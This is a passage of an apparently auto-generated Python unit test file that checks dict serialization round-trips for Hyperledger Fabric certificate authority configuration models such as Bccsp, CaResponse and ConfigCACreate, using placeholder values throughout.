def test_bccsp_serialization(self):
"""
Test serialization/deserialization for Bccsp
"""
# Construct dict forms of any model objects needed in order to build this model.
bccsp_sw_model = {} # BccspSW
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
bccsp_pkc_s11_model = {} # BccspPKCS11
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
# Construct a json representation of a Bccsp model
bccsp_model_json = {}
bccsp_model_json['Default'] = 'SW'
bccsp_model_json['SW'] = bccsp_sw_model
bccsp_model_json['PKCS11'] = bccsp_pkc_s11_model
# Construct a model instance of Bccsp by calling from_dict on the json representation
bccsp_model = Bccsp.from_dict(bccsp_model_json)
assert bccsp_model != False
# Construct a model instance of Bccsp by calling from_dict on the json representation
bccsp_model_dict = Bccsp.from_dict(bccsp_model_json).__dict__
bccsp_model2 = Bccsp(**bccsp_model_dict)
# Verify the model instances are equivalent
assert bccsp_model == bccsp_model2
# Convert model instance back to dict and verify no loss of data
bccsp_model_json2 = bccsp_model.to_dict()
assert bccsp_model_json2 == bccsp_model_json
class TestBccspPKCS11():
"""
Test Class for BccspPKCS11
"""
def test_bccsp_pkc_s11_serialization(self):
"""
Test serialization/deserialization for BccspPKCS11
"""
# Construct a json representation of a BccspPKCS11 model
bccsp_pkc_s11_model_json = {}
bccsp_pkc_s11_model_json['Label'] = 'testString'
bccsp_pkc_s11_model_json['Pin'] = 'testString'
bccsp_pkc_s11_model_json['Hash'] = 'SHA2'
bccsp_pkc_s11_model_json['Security'] = 256
# Construct a model instance of BccspPKCS11 by calling from_dict on the json representation
bccsp_pkc_s11_model = BccspPKCS11.from_dict(bccsp_pkc_s11_model_json)
assert bccsp_pkc_s11_model != False
# Construct a model instance of BccspPKCS11 by calling from_dict on the json representation
bccsp_pkc_s11_model_dict = BccspPKCS11.from_dict(bccsp_pkc_s11_model_json).__dict__
bccsp_pkc_s11_model2 = BccspPKCS11(**bccsp_pkc_s11_model_dict)
# Verify the model instances are equivalent
assert bccsp_pkc_s11_model == bccsp_pkc_s11_model2
# Convert model instance back to dict and verify no loss of data
bccsp_pkc_s11_model_json2 = bccsp_pkc_s11_model.to_dict()
assert bccsp_pkc_s11_model_json2 == bccsp_pkc_s11_model_json
class TestBccspSW():
"""
Test Class for BccspSW
"""
def test_bccsp_sw_serialization(self):
"""
Test serialization/deserialization for BccspSW
"""
# Construct a json representation of a BccspSW model
bccsp_sw_model_json = {}
bccsp_sw_model_json['Hash'] = 'SHA2'
bccsp_sw_model_json['Security'] = 256
# Construct a model instance of BccspSW by calling from_dict on the json representation
bccsp_sw_model = BccspSW.from_dict(bccsp_sw_model_json)
assert bccsp_sw_model != False
# Construct a model instance of BccspSW by calling from_dict on the json representation
bccsp_sw_model_dict = BccspSW.from_dict(bccsp_sw_model_json).__dict__
bccsp_sw_model2 = BccspSW(**bccsp_sw_model_dict)
# Verify the model instances are equivalent
assert bccsp_sw_model == bccsp_sw_model2
# Convert model instance back to dict and verify no loss of data
bccsp_sw_model_json2 = bccsp_sw_model.to_dict()
assert bccsp_sw_model_json2 == bccsp_sw_model_json
class TestCaResponse():
"""
Test Class for CaResponse
"""
def test_ca_response_serialization(self):
"""
Test serialization/deserialization for CaResponse
"""
# Construct dict forms of any model objects needed in order to build this model.
msp_crypto_field_ca_model = {} # MspCryptoFieldCa
msp_crypto_field_ca_model['name'] = 'ca'
msp_crypto_field_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_field_tlsca_model = {} # MspCryptoFieldTlsca
msp_crypto_field_tlsca_model['name'] = 'tlsca'
msp_crypto_field_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_field_component_model = {} # MspCryptoFieldComponent
msp_crypto_field_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_field_model = {} # MspCryptoField
msp_crypto_field_model['ca'] = msp_crypto_field_ca_model
msp_crypto_field_model['tlsca'] = msp_crypto_field_tlsca_model
msp_crypto_field_model['component'] = msp_crypto_field_component_model
generic_resources_requests_model = {} # GenericResourcesRequests
generic_resources_requests_model['cpu'] = '100m'
generic_resources_requests_model['memory'] = '256M'
generic_resource_limits_model = {} # GenericResourceLimits
generic_resource_limits_model['cpu'] = '8000m'
generic_resource_limits_model['memory'] = '16384M'
generic_resources_model = {} # GenericResources
generic_resources_model['requests'] = generic_resources_requests_model
generic_resources_model['limits'] = generic_resource_limits_model
ca_response_resources_model = {} # CaResponseResources
ca_response_resources_model['ca'] = generic_resources_model
storage_object_model = {} # StorageObject
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
ca_response_storage_model = {} # CaResponseStorage
ca_response_storage_model['ca'] = storage_object_model
# Construct a json representation of a CaResponse model
ca_response_model_json = {}
ca_response_model_json['id'] = 'component1'
ca_response_model_json['dep_component_id'] = 'admin'
ca_response_model_json['display_name'] = 'My CA'
ca_response_model_json['api_url'] = 'grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051'
ca_response_model_json['operations_url'] = 'https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:9443'
ca_response_model_json['config_override'] = { 'foo': 'bar' }
ca_response_model_json['location'] = 'ibmcloud'
ca_response_model_json['msp'] = msp_crypto_field_model
ca_response_model_json['resources'] = ca_response_resources_model
ca_response_model_json['scheme_version'] = 'v1'
ca_response_model_json['storage'] = ca_response_storage_model
ca_response_model_json['tags'] = ['fabric-ca']
ca_response_model_json['timestamp'] = 1537262855753
ca_response_model_json['version'] = '1.4.6-1'
ca_response_model_json['zone'] = '-'
# Construct a model instance of CaResponse by calling from_dict on the json representation
ca_response_model = CaResponse.from_dict(ca_response_model_json)
assert ca_response_model != False
# Construct a model instance of CaResponse by calling from_dict on the json representation
ca_response_model_dict = CaResponse.from_dict(ca_response_model_json).__dict__
ca_response_model2 = CaResponse(**ca_response_model_dict)
# Verify the model instances are equivalent
assert ca_response_model == ca_response_model2
# Convert model instance back to dict and verify no loss of data
ca_response_model_json2 = ca_response_model.to_dict()
assert ca_response_model_json2 == ca_response_model_json
class TestCaResponseResources():
"""
Test Class for CaResponseResources
"""
def test_ca_response_resources_serialization(self):
"""
Test serialization/deserialization for CaResponseResources
"""
# Construct dict forms of any model objects needed in order to build this model.
generic_resources_requests_model = {} # GenericResourcesRequests
generic_resources_requests_model['cpu'] = '100m'
generic_resources_requests_model['memory'] = '256M'
generic_resource_limits_model = {} # GenericResourceLimits
generic_resource_limits_model['cpu'] = '8000m'
generic_resource_limits_model['memory'] = '16384M'
generic_resources_model = {} # GenericResources
generic_resources_model['requests'] = generic_resources_requests_model
generic_resources_model['limits'] = generic_resource_limits_model
# Construct a json representation of a CaResponseResources model
ca_response_resources_model_json = {}
ca_response_resources_model_json['ca'] = generic_resources_model
# Construct a model instance of CaResponseResources by calling from_dict on the json representation
ca_response_resources_model = CaResponseResources.from_dict(ca_response_resources_model_json)
assert ca_response_resources_model != False
# Construct a model instance of CaResponseResources by calling from_dict on the json representation
ca_response_resources_model_dict = CaResponseResources.from_dict(ca_response_resources_model_json).__dict__
ca_response_resources_model2 = CaResponseResources(**ca_response_resources_model_dict)
# Verify the model instances are equivalent
assert ca_response_resources_model == ca_response_resources_model2
# Convert model instance back to dict and verify no loss of data
ca_response_resources_model_json2 = ca_response_resources_model.to_dict()
assert ca_response_resources_model_json2 == ca_response_resources_model_json
class TestCaResponseStorage():
"""
Test Class for CaResponseStorage
"""
def test_ca_response_storage_serialization(self):
"""
Test serialization/deserialization for CaResponseStorage
"""
# Construct dict forms of any model objects needed in order to build this model.
storage_object_model = {} # StorageObject
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
# Construct a json representation of a CaResponseStorage model
ca_response_storage_model_json = {}
ca_response_storage_model_json['ca'] = storage_object_model
# Construct a model instance of CaResponseStorage by calling from_dict on the json representation
ca_response_storage_model = CaResponseStorage.from_dict(ca_response_storage_model_json)
assert ca_response_storage_model != False
# Construct a model instance of CaResponseStorage by calling from_dict on the json representation
ca_response_storage_model_dict = CaResponseStorage.from_dict(ca_response_storage_model_json).__dict__
ca_response_storage_model2 = CaResponseStorage(**ca_response_storage_model_dict)
# Verify the model instances are equivalent
assert ca_response_storage_model == ca_response_storage_model2
# Convert model instance back to dict and verify no loss of data
ca_response_storage_model_json2 = ca_response_storage_model.to_dict()
assert ca_response_storage_model_json2 == ca_response_storage_model_json
class TestCacheData():
"""
Test Class for CacheData
"""
def test_cache_data_serialization(self):
"""
Test serialization/deserialization for CacheData
"""
# Construct a json representation of a CacheData model
cache_data_model_json = {}
cache_data_model_json['hits'] = 42
cache_data_model_json['misses'] = 11
cache_data_model_json['keys'] = 100
cache_data_model_json['cache_size'] = '4.19 KiB'
# Construct a model instance of CacheData by calling from_dict on the json representation
cache_data_model = CacheData.from_dict(cache_data_model_json)
assert cache_data_model != False
# Construct a model instance of CacheData by calling from_dict on the json representation
cache_data_model_dict = CacheData.from_dict(cache_data_model_json).__dict__
cache_data_model2 = CacheData(**cache_data_model_dict)
# Verify the model instances are equivalent
assert cache_data_model == cache_data_model2
# Convert model instance back to dict and verify no loss of data
cache_data_model_json2 = cache_data_model.to_dict()
assert cache_data_model_json2 == cache_data_model_json
class TestCacheFlushResponse():
"""
Test Class for CacheFlushResponse
"""
def test_cache_flush_response_serialization(self):
"""
Test serialization/deserialization for CacheFlushResponse
"""
# Construct a json representation of a CacheFlushResponse model
cache_flush_response_model_json = {}
cache_flush_response_model_json['message'] = 'ok'
cache_flush_response_model_json['flushed'] = ['iam_cache']
# Construct a model instance of CacheFlushResponse by calling from_dict on the json representation
cache_flush_response_model = CacheFlushResponse.from_dict(cache_flush_response_model_json)
assert cache_flush_response_model != False
# Construct a model instance of CacheFlushResponse by calling from_dict on the json representation
cache_flush_response_model_dict = CacheFlushResponse.from_dict(cache_flush_response_model_json).__dict__
cache_flush_response_model2 = CacheFlushResponse(**cache_flush_response_model_dict)
# Verify the model instances are equivalent
assert cache_flush_response_model == cache_flush_response_model2
# Convert model instance back to dict and verify no loss of data
cache_flush_response_model_json2 = cache_flush_response_model.to_dict()
assert cache_flush_response_model_json2 == cache_flush_response_model_json
class TestConfigCACfgIdentities():
"""
Test Class for ConfigCACfgIdentities
"""
def test_config_ca_cfg_identities_serialization(self):
"""
Test serialization/deserialization for ConfigCACfgIdentities
"""
# Construct a json representation of a ConfigCACfgIdentities model
config_ca_cfg_identities_model_json = {}
config_ca_cfg_identities_model_json['passwordattempts'] = 10
config_ca_cfg_identities_model_json['allowremove'] = False
# Construct a model instance of ConfigCACfgIdentities by calling from_dict on the json representation
config_ca_cfg_identities_model = ConfigCACfgIdentities.from_dict(config_ca_cfg_identities_model_json)
assert config_ca_cfg_identities_model != False
# Construct a model instance of ConfigCACfgIdentities by calling from_dict on the json representation
config_ca_cfg_identities_model_dict = ConfigCACfgIdentities.from_dict(config_ca_cfg_identities_model_json).__dict__
config_ca_cfg_identities_model2 = ConfigCACfgIdentities(**config_ca_cfg_identities_model_dict)
# Verify the model instances are equivalent
assert config_ca_cfg_identities_model == config_ca_cfg_identities_model2
# Convert model instance back to dict and verify no loss of data
config_ca_cfg_identities_model_json2 = config_ca_cfg_identities_model.to_dict()
assert config_ca_cfg_identities_model_json2 == config_ca_cfg_identities_model_json
class TestConfigCACreate():
"""
Test Class for ConfigCACreate
"""
def test_config_ca_create_serialization(self):
"""
Test serialization/deserialization for ConfigCACreate
"""
# Construct dict forms of any model objects needed in order to build this model.
config_ca_cors_model = {} # ConfigCACors
config_ca_cors_model['enabled'] = True
config_ca_cors_model['origins'] = ['*']
config_ca_tls_clientauth_model = {} # ConfigCATlsClientauth
config_ca_tls_clientauth_model['type'] = 'noclientcert'
config_ca_tls_clientauth_model['certfiles'] = ['testString']
config_ca_tls_model = {} # ConfigCATls
config_ca_tls_model['keyfile'] = 'testString'
config_ca_tls_model['certfile'] = 'testString'
config_ca_tls_model['clientauth'] = config_ca_tls_clientauth_model
config_ca_ca_model = {} # ConfigCACa
config_ca_ca_model['keyfile'] = 'testString'
config_ca_ca_model['certfile'] = 'testString'
config_ca_ca_model['chainfile'] = 'testString'
config_ca_crl_model = {} # ConfigCACrl
config_ca_crl_model['expiry'] = '24h'
identity_attrs_model = {} # IdentityAttrs
identity_attrs_model['hf.Registrar.Roles'] = '*'
identity_attrs_model['hf.Registrar.DelegateRoles'] = '*'
identity_attrs_model['hf.Revoker'] = True
identity_attrs_model['hf.IntermediateCA'] = True
identity_attrs_model['hf.GenCRL'] = True
identity_attrs_model['hf.Registrar.Attributes'] = '*'
identity_attrs_model['hf.AffiliationMgr'] = True
config_ca_registry_identities_item_model = {} # ConfigCARegistryIdentitiesItem
config_ca_registry_identities_item_model['name'] = 'admin'
config_ca_registry_identities_item_model['pass'] = 'password'
config_ca_registry_identities_item_model['type'] = 'client'
config_ca_registry_identities_item_model['maxenrollments'] = -1
config_ca_registry_identities_item_model['affiliation'] = 'testString'
config_ca_registry_identities_item_model['attrs'] = identity_attrs_model
config_ca_registry_model = {} # ConfigCARegistry
config_ca_registry_model['maxenrollments'] = -1
config_ca_registry_model['identities'] = [config_ca_registry_identities_item_model]
config_ca_db_tls_client_model = {} # ConfigCADbTlsClient
config_ca_db_tls_client_model['certfile'] = 'testString'
config_ca_db_tls_client_model['keyfile'] = 'testString'
config_ca_db_tls_model = {} # ConfigCADbTls
config_ca_db_tls_model['certfiles'] = ['testString']
config_ca_db_tls_model['client'] = config_ca_db_tls_client_model
config_ca_db_tls_model['enabled'] = False
config_ca_db_model = {} # ConfigCADb
config_ca_db_model['type'] = 'postgres'
config_ca_db_model['datasource'] = 'host=fake.databases.appdomain.cloud port=31941 user=ibm_cloud password=password dbname=ibmclouddb sslmode=verify-full'
config_ca_db_model['tls'] = config_ca_db_tls_model
config_ca_affiliations_model = {} # ConfigCAAffiliations
config_ca_affiliations_model['org1'] = ['department1']
config_ca_affiliations_model['org2'] = ['department1']
config_ca_affiliations_model['foo'] = { 'foo': 'bar' }
config_ca_csr_keyrequest_model = {} # ConfigCACsrKeyrequest
config_ca_csr_keyrequest_model['algo'] = 'ecdsa'
config_ca_csr_keyrequest_model['size'] = 256
config_ca_csr_names_item_model = {} # ConfigCACsrNamesItem
config_ca_csr_names_item_model['C'] = 'US'
config_ca_csr_names_item_model['ST'] = 'North Carolina'
config_ca_csr_names_item_model['L'] = 'Raleigh'
config_ca_csr_names_item_model['O'] = 'Hyperledger'
config_ca_csr_names_item_model['OU'] = 'Fabric'
config_ca_csr_ca_model = {} # ConfigCACsrCa
config_ca_csr_ca_model['expiry'] = '131400h'
config_ca_csr_ca_model['pathlength'] = 0
config_ca_csr_model = {} # ConfigCACsr
config_ca_csr_model['cn'] = 'ca'
config_ca_csr_model['keyrequest'] = config_ca_csr_keyrequest_model
config_ca_csr_model['names'] = [config_ca_csr_names_item_model]
config_ca_csr_model['hosts'] = ['localhost']
config_ca_csr_model['ca'] = config_ca_csr_ca_model
config_ca_idemix_model = {} # ConfigCAIdemix
config_ca_idemix_model['rhpoolsize'] = 100
config_ca_idemix_model['nonceexpiration'] = '15s'
config_ca_idemix_model['noncesweepinterval'] = '15m'
bccsp_sw_model = {} # BccspSW
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
bccsp_pkc_s11_model = {} # BccspPKCS11
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
bccsp_model = {} # Bccsp
bccsp_model['Default'] = 'SW'
bccsp_model['SW'] = bccsp_sw_model
bccsp_model['PKCS11'] = bccsp_pkc_s11_model
config_ca_intermediate_parentserver_model = {} # ConfigCAIntermediateParentserver
config_ca_intermediate_parentserver_model['url'] = 'testString'
config_ca_intermediate_parentserver_model['caname'] = 'testString'
config_ca_intermediate_enrollment_model = {} # ConfigCAIntermediateEnrollment
config_ca_intermediate_enrollment_model['hosts'] = 'localhost'
config_ca_intermediate_enrollment_model['profile'] = 'testString'
config_ca_intermediate_enrollment_model['label'] = 'testString'
config_ca_intermediate_tls_client_model = {} # ConfigCAIntermediateTlsClient
config_ca_intermediate_tls_client_model['certfile'] = 'testString'
config_ca_intermediate_tls_client_model['keyfile'] = 'testString'
config_ca_intermediate_tls_model = {} # ConfigCAIntermediateTls
config_ca_intermediate_tls_model['certfiles'] = ['testString']
config_ca_intermediate_tls_model['client'] = config_ca_intermediate_tls_client_model
config_ca_intermediate_model = {} # ConfigCAIntermediate
config_ca_intermediate_model['parentserver'] = config_ca_intermediate_parentserver_model
config_ca_intermediate_model['enrollment'] = config_ca_intermediate_enrollment_model
config_ca_intermediate_model['tls'] = config_ca_intermediate_tls_model
config_ca_cfg_identities_model = {} # ConfigCACfgIdentities
config_ca_cfg_identities_model['passwordattempts'] = 10
config_ca_cfg_identities_model['allowremove'] = False
config_ca_cfg_model = {} # ConfigCACfg
config_ca_cfg_model['identities'] = config_ca_cfg_identities_model
metrics_statsd_model = {} # MetricsStatsd
metrics_statsd_model['network'] = 'udp'
metrics_statsd_model['address'] = '127.0.0.1:8125'
metrics_statsd_model['writeInterval'] = '10s'
metrics_statsd_model['prefix'] = 'server'
metrics_model = {} # Metrics
metrics_model['provider'] = 'prometheus'
metrics_model['statsd'] = metrics_statsd_model
config_ca_signing_default_model = {} # ConfigCASigningDefault
config_ca_signing_default_model['usage'] = ['cert sign']
config_ca_signing_default_model['expiry'] = '8760h'
config_ca_signing_profiles_ca_caconstraint_model = {} # ConfigCASigningProfilesCaCaconstraint
config_ca_signing_profiles_ca_caconstraint_model['isca'] = True
config_ca_signing_profiles_ca_caconstraint_model['maxpathlen'] = 0
config_ca_signing_profiles_ca_caconstraint_model['maxpathlenzero'] = True
config_ca_signing_profiles_ca_model = {} # ConfigCASigningProfilesCa
config_ca_signing_profiles_ca_model['usage'] = ['cert sign']
config_ca_signing_profiles_ca_model['expiry'] = '43800h'
config_ca_signing_profiles_ca_model['caconstraint'] = config_ca_signing_profiles_ca_caconstraint_model
config_ca_signing_profiles_tls_model = {} # ConfigCASigningProfilesTls
config_ca_signing_profiles_tls_model['usage'] = ['cert sign']
config_ca_signing_profiles_tls_model['expiry'] = '43800h'
config_ca_signing_profiles_model = {} # ConfigCASigningProfiles
config_ca_signing_profiles_model['ca'] = config_ca_signing_profiles_ca_model
config_ca_signing_profiles_model['tls'] = config_ca_signing_profiles_tls_model
config_ca_signing_model = {} # ConfigCASigning
config_ca_signing_model['default'] = config_ca_signing_default_model
config_ca_signing_model['profiles'] = config_ca_signing_profiles_model
# Construct a json representation of a ConfigCACreate model
config_ca_create_model_json = {}
config_ca_create_model_json['cors'] = config_ca_cors_model
config_ca_create_model_json['debug'] = False
config_ca_create_model_json['crlsizelimit'] = 512000
config_ca_create_model_json['tls'] = config_ca_tls_model
config_ca_create_model_json['ca'] = config_ca_ca_model
config_ca_create_model_json['crl'] = config_ca_crl_model
config_ca_create_model_json['registry'] = config_ca_registry_model
config_ca_create_model_json['db'] = config_ca_db_model
config_ca_create_model_json['affiliations'] = config_ca_affiliations_model
config_ca_create_model_json['csr'] = config_ca_csr_model
config_ca_create_model_json['idemix'] = config_ca_idemix_model
config_ca_create_model_json['BCCSP'] = bccsp_model
config_ca_create_model_json['intermediate'] = config_ca_intermediate_model
config_ca_create_model_json['cfg'] = config_ca_cfg_model
config_ca_create_model_json['metrics'] = metrics_model
config_ca_create_model_json['signing'] = config_ca_signing_model
# Construct a model instance of ConfigCACreate by calling from_dict on the json representation
config_ca_create_model = ConfigCACreate.from_dict(config_ca_create_model_json)
assert config_ca_create_model != False
# Construct a model instance of ConfigCACreate by calling from_dict on the json representation
config_ca_create_model_dict = ConfigCACreate.from_dict(config_ca_create_model_json).__dict__
config_ca_create_model2 = ConfigCACreate(**config_ca_create_model_dict)
# Verify the model instances are equivalent
assert config_ca_create_model == config_ca_create_model2
# Convert model instance back to dict and verify no loss of data
config_ca_create_model_json2 = config_ca_create_model.to_dict()
assert config_ca_create_model_json2 == config_ca_create_model_json
class TestConfigCACsrCa():
"""
Test Class for ConfigCACsrCa
"""
def test_config_ca_csr_ca_serialization(self):
"""
Test serialization/deserialization for ConfigCACsrCa
"""
# Construct a json representation of a ConfigCACsrCa model
config_ca_csr_ca_model_json = {}
config_ca_csr_ca_model_json['expiry'] = '131400h'
config_ca_csr_ca_model_json['pathlength'] = 0
# Construct a model instance of ConfigCACsrCa by calling from_dict on the json representation
config_ca_csr_ca_model = ConfigCACsrCa.from_dict(config_ca_csr_ca_model_json)
assert config_ca_csr_ca_model != False
# Construct a model instance of ConfigCACsrCa by calling from_dict on the json representation
config_ca_csr_ca_model_dict = ConfigCACsrCa.from_dict(config_ca_csr_ca_model_json).__dict__
config_ca_csr_ca_model2 = ConfigCACsrCa(**config_ca_csr_ca_model_dict)
# Verify the model instances are equivalent
assert config_ca_csr_ca_model == config_ca_csr_ca_model2
# Convert model instance back to dict and verify no loss of data
config_ca_csr_ca_model_json2 = config_ca_csr_ca_model.to_dict()
assert config_ca_csr_ca_model_json2 == config_ca_csr_ca_model_json
class TestConfigCACsrKeyrequest():
"""
Test Class for ConfigCACsrKeyrequest
"""
def test_config_ca_csr_keyrequest_serialization(self):
"""
Test serialization/deserialization for ConfigCACsrKeyrequest
"""
# Construct a json representation of a ConfigCACsrKeyrequest model
config_ca_csr_keyrequest_model_json = {}
config_ca_csr_keyrequest_model_json['algo'] = 'ecdsa'
config_ca_csr_keyrequest_model_json['size'] = 256
# Construct a model instance of ConfigCACsrKeyrequest by calling from_dict on the json representation
config_ca_csr_keyrequest_model = ConfigCACsrKeyrequest.from_dict(config_ca_csr_keyrequest_model_json)
assert config_ca_csr_keyrequest_model != False
# Construct a model instance of ConfigCACsrKeyrequest by calling from_dict on the json representation
config_ca_csr_keyrequest_model_dict = ConfigCACsrKeyrequest.from_dict(config_ca_csr_keyrequest_model_json).__dict__
config_ca_csr_keyrequest_model2 = ConfigCACsrKeyrequest(**config_ca_csr_keyrequest_model_dict)
# Verify the model instances are equivalent
assert config_ca_csr_keyrequest_model == config_ca_csr_keyrequest_model2
# Convert model instance back to dict and verify no loss of data
config_ca_csr_keyrequest_model_json2 = config_ca_csr_keyrequest_model.to_dict()
assert config_ca_csr_keyrequest_model_json2 == config_ca_csr_keyrequest_model_json
class TestConfigCACsrNamesItem():
"""
Test Class for ConfigCACsrNamesItem
"""
def test_config_ca_csr_names_item_serialization(self):
"""
Test serialization/deserialization for ConfigCACsrNamesItem
"""
# Construct a json representation of a ConfigCACsrNamesItem model
config_ca_csr_names_item_model_json = {}
config_ca_csr_names_item_model_json['C'] = 'US'
config_ca_csr_names_item_model_json['ST'] = 'North Carolina'
config_ca_csr_names_item_model_json['L'] = 'Raleigh'
config_ca_csr_names_item_model_json['O'] = 'Hyperledger'
config_ca_csr_names_item_model_json['OU'] = 'Fabric'
# Construct a model instance of ConfigCACsrNamesItem by calling from_dict on the json representation
config_ca_csr_names_item_model = ConfigCACsrNamesItem.from_dict(config_ca_csr_names_item_model_json)
assert config_ca_csr_names_item_model != False
# Construct a model instance of ConfigCACsrNamesItem by calling from_dict on the json representation
config_ca_csr_names_item_model_dict = ConfigCACsrNamesItem.from_dict(config_ca_csr_names_item_model_json).__dict__
config_ca_csr_names_item_model2 = ConfigCACsrNamesItem(**config_ca_csr_names_item_model_dict)
# Verify the model instances are equivalent
assert config_ca_csr_names_item_model == config_ca_csr_names_item_model2
# Convert model instance back to dict and verify no loss of data
config_ca_csr_names_item_model_json2 = config_ca_csr_names_item_model.to_dict()
assert config_ca_csr_names_item_model_json2 == config_ca_csr_names_item_model_json
class TestConfigCADbTls():
"""
Test Class for ConfigCADbTls
"""
def test_config_ca_db_tls_serialization(self):
"""
Test serialization/deserialization for ConfigCADbTls
"""
# Construct dict forms of any model objects needed in order to build this model.
config_ca_db_tls_client_model = {} # ConfigCADbTlsClient
config_ca_db_tls_client_model['certfile'] = 'testString'
config_ca_db_tls_client_model['keyfile'] = 'testString'
# Construct a json representation of a ConfigCADbTls model
config_ca_db_tls_model_json = {}
config_ca_db_tls_model_json['certfiles'] = ['testString']
config_ca_db_tls_model_json['client'] = config_ca_db_tls_client_model
config_ca_db_tls_model_json['enabled'] = False
# Construct a model instance of ConfigCADbTls by calling from_dict on the json representation
config_ca_db_tls_model = ConfigCADbTls.from_dict(config_ca_db_tls_model_json)
assert config_ca_db_tls_model != False
# Construct a model instance of ConfigCADbTls by calling from_dict on the json representation
config_ca_db_tls_model_dict = ConfigCADbTls.from_dict(config_ca_db_tls_model_json).__dict__
config_ca_db_tls_model2 = ConfigCADbTls(**config_ca_db_tls_model_dict)
# Verify the model instances are equivalent
assert config_ca_db_tls_model == config_ca_db_tls_model2
# Convert model instance back to dict and verify no loss of data
config_ca_db_tls_model_json2 = config_ca_db_tls_model.to_dict()
assert config_ca_db_tls_model_json2 == config_ca_db_tls_model_json
class TestConfigCADbTlsClient():
"""
Test Class for ConfigCADbTlsClient
"""
def test_config_ca_db_tls_client_serialization(self):
"""
Test serialization/deserialization for ConfigCADbTlsClient
"""
# Construct a json representation of a ConfigCADbTlsClient model
config_ca_db_tls_client_model_json = {}
config_ca_db_tls_client_model_json['certfile'] = 'testString'
config_ca_db_tls_client_model_json['keyfile'] = 'testString'
# Construct a model instance of ConfigCADbTlsClient by calling from_dict on the json representation
config_ca_db_tls_client_model = ConfigCADbTlsClient.from_dict(config_ca_db_tls_client_model_json)
assert config_ca_db_tls_client_model != False
# Construct a model instance of ConfigCADbTlsClient by calling from_dict on the json representation
config_ca_db_tls_client_model_dict = ConfigCADbTlsClient.from_dict(config_ca_db_tls_client_model_json).__dict__
config_ca_db_tls_client_model2 = ConfigCADbTlsClient(**config_ca_db_tls_client_model_dict)
# Verify the model instances are equivalent
assert config_ca_db_tls_client_model == config_ca_db_tls_client_model2
# Convert model instance back to dict and verify no loss of data
config_ca_db_tls_client_model_json2 = config_ca_db_tls_client_model.to_dict()
assert config_ca_db_tls_client_model_json2 == config_ca_db_tls_client_model_json
class TestConfigCAIntermediateEnrollment():
"""
Test Class for ConfigCAIntermediateEnrollment
"""
def test_config_ca_intermediate_enrollment_serialization(self):
"""
Test serialization/deserialization for ConfigCAIntermediateEnrollment
"""
# Construct a json representation of a ConfigCAIntermediateEnrollment model
config_ca_intermediate_enrollment_model_json = {}
config_ca_intermediate_enrollment_model_json['hosts'] = 'localhost'
config_ca_intermediate_enrollment_model_json['profile'] = 'testString'
config_ca_intermediate_enrollment_model_json['label'] = 'testString'
# Construct a model instance of ConfigCAIntermediateEnrollment by calling from_dict on the json representation
config_ca_intermediate_enrollment_model = ConfigCAIntermediateEnrollment.from_dict(config_ca_intermediate_enrollment_model_json)
assert config_ca_intermediate_enrollment_model != False
# Construct a model instance of ConfigCAIntermediateEnrollment by calling from_dict on the json representation
config_ca_intermediate_enrollment_model_dict = ConfigCAIntermediateEnrollment.from_dict(config_ca_intermediate_enrollment_model_json).__dict__
config_ca_intermediate_enrollment_model2 = ConfigCAIntermediateEnrollment(**config_ca_intermediate_enrollment_model_dict)
# Verify the model instances are equivalent
assert config_ca_intermediate_enrollment_model == config_ca_intermediate_enrollment_model2
# Convert model instance back to dict and verify no loss of data
config_ca_intermediate_enrollment_model_json2 = config_ca_intermediate_enrollment_model.to_dict()
assert config_ca_intermediate_enrollment_model_json2 == config_ca_intermediate_enrollment_model_json
class TestConfigCAIntermediateParentserver():
"""
Test Class for ConfigCAIntermediateParentserver
"""
def test_config_ca_intermediate_parentserver_serialization(self):
"""
Test serialization/deserialization for ConfigCAIntermediateParentserver
"""
# Construct a json representation of a ConfigCAIntermediateParentserver model
config_ca_intermediate_parentserver_model_json = {}
config_ca_intermediate_parentserver_model_json['url'] = 'testString'
config_ca_intermediate_parentserver_model_json['caname'] = 'testString'
# Construct a model instance of ConfigCAIntermediateParentserver by calling from_dict on the json representation
config_ca_intermediate_parentserver_model = ConfigCAIntermediateParentserver.from_dict(config_ca_intermediate_parentserver_model_json)
assert config_ca_intermediate_parentserver_model != False
# Construct a model instance of ConfigCAIntermediateParentserver by calling from_dict on the json representation
config_ca_intermediate_parentserver_model_dict = ConfigCAIntermediateParentserver.from_dict(config_ca_intermediate_parentserver_model_json).__dict__
